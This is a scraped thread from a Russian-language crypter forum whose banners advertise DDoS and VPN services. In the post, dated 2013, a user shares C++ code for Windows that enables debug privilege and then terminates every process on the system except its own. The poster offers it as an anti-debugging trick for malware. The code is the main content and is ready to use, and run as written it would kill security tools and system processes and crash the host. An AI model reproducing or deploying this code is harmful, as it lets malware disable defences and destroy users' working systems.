FuckAV - Форум о крипторах

Анонимный антивирусный сканер VPN-сервис
[Copi]Team DDoS Service

SEO статьи - блог от создателя FuckAV | KOROVKA.so | Качественный VPN Service MultiVPN - PPTP/OpenVPN/DoubleVPN

Реклама на форуме | Помощь форуму | Аварийный блог

Наш Jabber-сервер расположен по адресу fuckav.in. Добро пожаловать!!!

Вернуться  

Для того, чтобы ответить в теме, необходимо зарегистрироваться.
 
Опции темы Опции просмотра
Старый 10-12-2013   #1
IBM

xor esp, esp
 
Аватар для IBM

Последняя активность:
1 день назад
Регистрация: 30.11.2013
Сообщений: 76
Поблагодарили всего: 160
за это сообщение: 3
По умолчанию [C++] Убийство всех процессов кроме своего

Может быть кому код пригодится для антиотладки, что бы подн***ать.

Убивает все процессы, кроме своего.

Код:
#include <windows.h>
#include <tlhelp32.h>

     BOOL   GetPriv()
     {
        TOKEN_PRIVILEGES Priv, PrivOld;
        DWORD cbPriv = sizeof(PrivOld);
        HANDLE hToken;
        DWORD dwError;
         if (!OpenThreadToken(GetCurrentThread(), 
                             TOKEN_QUERY|TOKEN_ADJUST_PRIVILEGES,
                             FALSE, &hToken))
        {
            if (GetLastError() != ERROR_NO_TOKEN)
                return FALSE;
 
            if (!OpenProcessToken(GetCurrentProcess(),
                                  TOKEN_QUERY|TOKEN_ADJUST_PRIVILEGES,
                                  &hToken))
                return FALSE;
        }
        Priv.PrivilegeCount = 1;
        Priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
        LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &Priv.Privileges[0].Luid);
 
        if (!AdjustTokenPrivileges(hToken, FALSE, &Priv, sizeof(Priv),
                                   &PrivOld, &cbPriv))
        {
            dwError = GetLastError();
            CloseHandle(hToken);
            return SetLastError(dwError), FALSE;
        }
 
  
          
     
        return TRUE;
     }
     
BOOL TerminateProcess(DWORD dwProcessId, UINT uExitCode)
{
    DWORD dwDesiredAccess = PROCESS_TERMINATE;
    BOOL  bInheritHandle  = FALSE;
    HANDLE hProcess = OpenProcess(dwDesiredAccess, bInheritHandle, dwProcessId);
    if (hProcess == NULL)
        return FALSE;

    BOOL result = TerminateProcess(hProcess, uExitCode);

    CloseHandle(hProcess);

    return result;
}

int main()
  {
    TOKEN_PRIVILEGES tkpPrev;
    GetPriv();
    DWORD current = GetCurrentProcessId();
    for (DWORD i = 1; i <= 9999; i++)
      {
        if (i!=current) TerminateProcess(i, 0);        
      }
    return 0;
  }
IBM вне форума  
Сказали спасибо:
Dark Koder (11-12-2013), POCT (10-12-2013), dzhoka (10-12-2013)


Для того, чтобы ответить в теме, необходимо зарегистрироваться.

Метки
всех, кроме, процессов, своего, убийство


Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 
Опции темы
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход

Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Google удалила «BitTorrent» и «uTorrent» из своего поискового фильтра Dexpire Новости 1 25-09-2013 15:47
Скрыватель процессов hoost1k Помощь 1 15-07-2012 14:52
EuroTreade-увеличение своего капитала EuroTreade Халява 21 16-11-2011 21:52
Новый iPhone побил рекорд предзаказов своего предшественника KpuMuHaJl Новости 2 12-10-2011 07:16
Прошу совета у всех krakosabrokovich Комната ожидания 6 02-11-2009 08:30

Часовой пояс GMT +3, время: 05:03.



Powered by vBulletin® Copyright ©2000 - 2014, Jelsoft Enterprises Ltd. Перевод: zCarot
Други: SEO блог Deymos'a| ProLogic.Su| DServers.ru| Форум веб-мастеров